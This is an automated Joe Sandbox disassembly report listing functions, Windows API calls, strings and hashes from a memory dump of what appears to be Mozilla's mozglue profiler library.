Opcode ID: 4e1eacd3fd43f4f3c50e9410af62da0b73c6d34df0cb5833f723672e552dcaf7
Instruction ID: 82894a29760adafa3c56300757d75f5cdbd520b62088913bb3ad4952d2a23076
Opcode Fuzzy Hash: 4e1eacd3fd43f4f3c50e9410af62da0b73c6d34df0cb5833f723672e552dcaf7
Instruction Fuzzy Hash: 9FF0C275E14746ABD7008F21D888676B778FFEA259F224316F90543601E7B0A5D08BD1

Function 6C9D1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9D1800

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

Part of subcall function 6C974290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9B3EBD,6C9B3EBD,00000000), ref: 6C9742A9

Strings

Details, xrefs: 6C9D1925
name, xrefs: 6C9D1939
{marker.name} - {marker.data.name}, xrefs: 6C9D18C7

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 3865ec67f53ddbb2e337faf25c6451e43234095db2dddbe3f8dd4f0bb44dd986
Instruction ID: b39b1cd2fce551212c7ce044125a533ec8f2592b1af4f8d45164edf178f5e1f6
Opcode Fuzzy Hash: 3865ec67f53ddbb2e337faf25c6451e43234095db2dddbe3f8dd4f0bb44dd986
Instruction Fuzzy Hash: F1710371A0074A9FCB04CF68D4807AABBB1FF95314F144669D8155BB41DB70FA98CBE2

Function 6C9DB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9DB0A6,6C9DB0A6,?,6C9DAF67,?,00000010,?,6C9DAF67,?,00000010,00000000,?,?,6C9DAB1F), ref: 6C9DB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9DB0A6,6C9DB0A6,?,6C9DAF67,?,00000010,?,6C9DAF67,?,00000010,00000000,?), ref: 6C9DB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9DB0A6,6C9DB0A6,?,6C9DAF67,?,00000010,?,6C9DAF67,?,00000010), ref: 6C9DB25F

Strings

map/set<T> too long, xrefs: 6C9DB1FA

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 46c7d764073b76cb02f1eb4e87a8c26885475b81e7f8e428a8a4d11a964accf1
Instruction ID: 67e9942c52a9cb11d5bfc4148af1ce03218ee7e5513db524610023a9b42ec714
Opcode Fuzzy Hash: 46c7d764073b76cb02f1eb4e87a8c26885475b81e7f8e428a8a4d11a964accf1
Instruction Fuzzy Hash: 3E61A934604A458FC701CF19C880A9ABBF5FF5A318F29C199D859ABB12C331FD45CB91

Function 6C99D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

EnterCriticalSection.KERNEL32(6C9FE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D4F2
LeaveCriticalSection.KERNEL32(6C9FE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D50B

Part of subcall function 6C97CFE0: EnterCriticalSection.KERNEL32(6C9FE784), ref: 6C97CFF6
Part of subcall function 6C97CFE0: LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C97D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D52E
EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C99D690
LeaveCriticalSection.KERNEL32(6C9FE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D751

Strings

MOZ_CRASH(), xrefs: 6C99D4BB

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b942c921620e646127782654a3c1691ae450ba77b64710d5016c4dbab84580e8
Instruction ID: 2e7e0db84fb3f9837b98ad5794626d567614efca4220aad113658b020a4eec21
Opcode Fuzzy Hash: b942c921620e646127782654a3c1691ae450ba77b64710d5016c4dbab84580e8
Instruction Fuzzy Hash: 9E51E372A087058FD314CF28C0D075AB7F5EB89708F28492ED5AAC7B84D771E801CB92

Function 6C9C4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9C4721

Strings

-%llu, xrefs: 6C9C4733
profiler-paused, xrefs: 6C9C46E4
., xrefs: 6C9C476A

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 4ddadf74085ee24b6824636155a1f6d0dbbed2bec70ccd77faaf61b36550d429
Instruction ID: 5bdde5f676aaea3fdbb33c23d6c53f3c22155d6067016ec792f125e88f5ca930
Opcode Fuzzy Hash: 4ddadf74085ee24b6824636155a1f6d0dbbed2bec70ccd77faaf61b36550d429
Instruction Fuzzy Hash: DB414871B087089BC708DF78E85116EBBE5AF95748F24862EE8555BB81EB30D8148B43

Function 6C9E9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9E985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9E987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9E98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9E98D9

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 64125a6b88a179d373a84427f807039941ad37b1c88cc8ba109fb36cb8efbb9c
Instruction ID: 11448cd2232cd006a74a40dc15bb527284e21e6e79d6f5c5c22e232a08372c27
Opcode Fuzzy Hash: 64125a6b88a179d373a84427f807039941ad37b1c88cc8ba109fb36cb8efbb9c
Instruction Fuzzy Hash: 34310871B0020CAFDB14AF99DC445EE77A9DFA8318F50406DEA1A9BB40DB31D905CBE1

Function 6C9C46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9C4721

Part of subcall function 6C974410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C9B3EBD,00000017,?,00000000,?,6C9B3EBD,?,?,6C9742D2), ref: 6C974444

Strings

-%llu, xrefs: 6C9C4733
profiler-paused, xrefs: 6C9C46E4
., xrefs: 6C9C476A

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 639199b54721540d72f820a041f79e2cd1ecc8d7e26cbfa5360fcc216487eb5e
Instruction ID: 38fa5d5a7e1dde424a454326e7939121fdc013e64425037ce2094d153ac110d0
Opcode Fuzzy Hash: 639199b54721540d72f820a041f79e2cd1ecc8d7e26cbfa5360fcc216487eb5e
Instruction Fuzzy Hash: BD313971F043085BCB08CF6CE8912ADBBE6DB99714F24413EE8059BB81EB70D8048F92

Function 6C9CB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C974290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9B3EBD,6C9B3EBD,00000000), ref: 6C9742A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9CB127), ref: 6C9CB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9CB4E4

Strings

pid:, xrefs: 6C9CB4DE

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 149fa344ed1f20dbe613dc2110048e288ea270a3214ca82d7a6d7d78437e3d7d
Instruction ID: 3a2d6aa3c8c2bda6ff5f6423b1de76d950660fe7b75ce8aa85677af645214f81
Opcode Fuzzy Hash: 149fa344ed1f20dbe613dc2110048e288ea270a3214ca82d7a6d7d78437e3d7d
Instruction Fuzzy Hash: B6311031B05208DBDB10DFA9D880AEEB7B9BF15318F580529D91167A41D736E849CBE3

Function 6C9BE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9BE577
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BE584
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9BE8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C9BE655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C9BE777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C9BE722, 6C9BE750, 6C9BE7A2
MOZ_PROFILER_STARTUP, xrefs: 6C9BE5A1, 6C9BE5CC, 6C9BE5FF, 6C9BE62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9BE826, 6C9BE850

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: c6ff99e1a0b48c06f09d1da55fafcb718559ec0b5d46c2b8efbeca31c0e34c9f
Instruction ID: a77fe848e210e91dc20a85cf72b726d0c867b5eb5e5e51e26c9805f60f730760
Opcode Fuzzy Hash: c6ff99e1a0b48c06f09d1da55fafcb718559ec0b5d46c2b8efbeca31c0e34c9f
Instruction Fuzzy Hash: 5C118E31608358DFCB009F14D448A5EBBF8FB8932CF210619E9A557B50D770E806CBD5

Function 6C9C0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9C0CD5

Part of subcall function 6C9AF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9AF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9C0D40
free.MOZGLUE ref: 6C9C0DCB

Part of subcall function 6C995E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
Part of subcall function 6C995E90: memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
Part of subcall function 6C995E90: LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2

free.MOZGLUE ref: 6C9C0DDD
free.MOZGLUE ref: 6C9C0DF2

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: f2d4750cf7124fbe3b5fdba98d5f896dbe4dff6972a17978fb90908f46b8c0c5
Instruction ID: 5c60e7d446cc6e3487f48c12ed59ea9d03e078acd80975e5fc5895631fff4727
Opcode Fuzzy Hash: f2d4750cf7124fbe3b5fdba98d5f896dbe4dff6972a17978fb90908f46b8c0c5
Instruction Fuzzy Hash: 4A4106B1A087809BD320CF29C04079AFBE5BFA9754F109A2EE8E887710D770D545CB83

Function 6C9B0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9B0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9B084C
EnterCriticalSection.KERNEL32(?), ref: 6C9B08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9B08BD
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9B08D5

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 4b3880b0e153584705a06d7f22651e08cf61c4aba450ada1f0792b244ecf216f
Instruction ID: 6b57663b5b3a98c132e0ea938783464367b1be1985134301134308b36af6382b
Opcode Fuzzy Hash: 4b3880b0e153584705a06d7f22651e08cf61c4aba450ada1f0792b244ecf216f
Instruction Fuzzy Hash: D121D070B0524DABEB04CF65E844BAF7779AF84708F640568D519B7A00DF32E9048BD0

Function 6C9CCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C9BDA31,00100000,?,?,00000000,?), ref: 6C9CCDA4

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

Part of subcall function 6C9CD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9CCDBA,00100000,?,00000000,?,6C9BDA31,00100000,?,?,00000000,?), ref: 6C9CD158
Part of subcall function 6C9CD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9CCDBA,00100000,?,00000000,?,6C9BDA31,00100000,?,?,00000000,?), ref: 6C9CD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C9BDA31,00100000,?,?,00000000,?), ref: 6C9CCDC4

Part of subcall function 6C9C7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9D15FC,?,?,?,?,6C9D15FC,?), ref: 6C9C74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C9BDA31,00100000,?,?,00000000,?), ref: 6C9CCECC

Part of subcall function 6C98CA10: mozalloc_abort.MOZGLUE(?), ref: 6C98CAA2

Part of subcall function 6C9BCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9CCEEA,?,?,?,?,00000000,?,6C9BDA31,00100000,?,?,00000000), ref: 6C9BCB57
Part of subcall function 6C9BCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C9BCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9CCEEA,?,?), ref: 6C9BCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C9BDA31,00100000,?,?,00000000,?), ref: 6C9CD058

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: f533a351436a33a8d27e13ffe97990668ece6bf81c12864a0629cc739ba4c293
Instruction ID: 51e6b50d797dc3cc43382670e4bc6def63179e8b94e899902ce35da91d89d1c0
Opcode Fuzzy Hash: f533a351436a33a8d27e13ffe97990668ece6bf81c12864a0629cc739ba4c293
Instruction Fuzzy Hash: E3D16E71B04B06DFD708CF28C4807A9B7E1BF99308F05866DD85987752EB31E965CB82

Function 6C981720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9817B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9818EE
free.MOZGLUE(?), ref: 6C981911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98194C

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 0bcbad708479e3c3e2892c3385fc6995d62b8c7d1dfb7cd9444bfe78017b92dd
Instruction ID: 9e2d251c4b1f9fac3518caf1b3fce2d67ca0b0e74fd1122a5e048cac2caaf067
Opcode Fuzzy Hash: 0bcbad708479e3c3e2892c3385fc6995d62b8c7d1dfb7cd9444bfe78017b92dd
Instruction Fuzzy Hash: 5281D670A162059FCB08CF68D8949FEBBB5FF8A314F44496CE821AB754D730E954CBA1

Function 6C995C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C995D40
EnterCriticalSection.KERNEL32(6C9FF688), ref: 6C995D67
__aulldiv.LIBCMT ref: 6C995DB4
LeaveCriticalSection.KERNEL32(6C9FF688), ref: 6C995DED

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 2dc2bac017ab47f9519fcc8f7825f2faf9a37a5f6cb887eb9b89b970949fa9c1
Instruction ID: 2f074c44e8672181cc98172e460f8abe21ca34044700b7da729b45fa9723b8b2
Opcode Fuzzy Hash: 2dc2bac017ab47f9519fcc8f7825f2faf9a37a5f6cb887eb9b89b970949fa9c1
Instruction Fuzzy Hash: 59517F71E041598FCF08CFA8D854ABFBBB2FF95318F298619C821A7750DB31A945CB90

Function 6C97CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C97CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C97CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C97CF4E

Strings

0, xrefs: 6C97CF30

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 77b8501866e7952235f044416aa32153e6a19e8713015ab1048f5dc218c346b3
Instruction ID: 5fe912b11ae423d23500783942404a00769b0699653ab192f35eda0b3572c4d4
Opcode Fuzzy Hash: 77b8501866e7952235f044416aa32153e6a19e8713015ab1048f5dc218c346b3
Instruction Fuzzy Hash: 2051F075A0425A8FCB10CF18C890AAABBB5FFA9300F198599D8595F752D731ED06CBE0

Function 6C9D77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9D77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9D7829

Part of subcall function 6C9ACC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9731A7), ref: 6C9ACC45
Part of subcall function 6C9ACC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9731A7), ref: 6C9ACC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9D789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9D78CF

Part of subcall function 6C974DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C974E5A
Part of subcall function 6C974DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C974E97

Part of subcall function 6C974290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9B3EBD,6C9B3EBD,00000000), ref: 6C9742A9

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

